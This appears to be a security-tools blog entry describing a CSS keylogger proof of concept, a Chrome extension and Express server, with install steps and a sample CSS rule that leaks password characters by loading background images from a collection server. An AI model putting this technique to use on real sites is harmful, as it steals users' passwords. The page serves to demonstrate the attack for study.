CSS Keylogger is a Chrome extension and Express server that exploits keylogging abilities of CSS. Using a simple script one can create a css file that will send a custom request for every ASCII character.
git clone https://github.com/maxchehab/CSS-Keylogging
chrome://extensions
in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu’s icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).Load unpacked extension…
to pop up a file-selection dialog.css-keylogger-extension
in the directory which you downloaded this repository.Also Read Volatility Framework – Volatile memory extraction utility framework
yarn
yarn start
C
on the top right of any webpage.This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image
.
For example, the following css will select all input’s with a type
that equals password
and a value
that ends with a
. It will then try to load an image from here.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Tools and packages that are used for countering forensic activities, including encryption, steganography, and anything…
Avilla Forensics is located in first place in the award international Forensics 4:Cast, in the…
Comprehensive guide to leveraging Google Chrome's extensions for Open-Source Intelligence (OSINT) tasks. In this article,…
Embark on a journey into the realm of digital forensics with our exploration of 'Analisi-Digital-Forense.…
The intersection of intelligence, investigation, and mobility. In this comprehensive guide, we delve into the…
Tookie-osint has a simple-to-use UI and is really straightforward. The main idea of Tookie-osint is…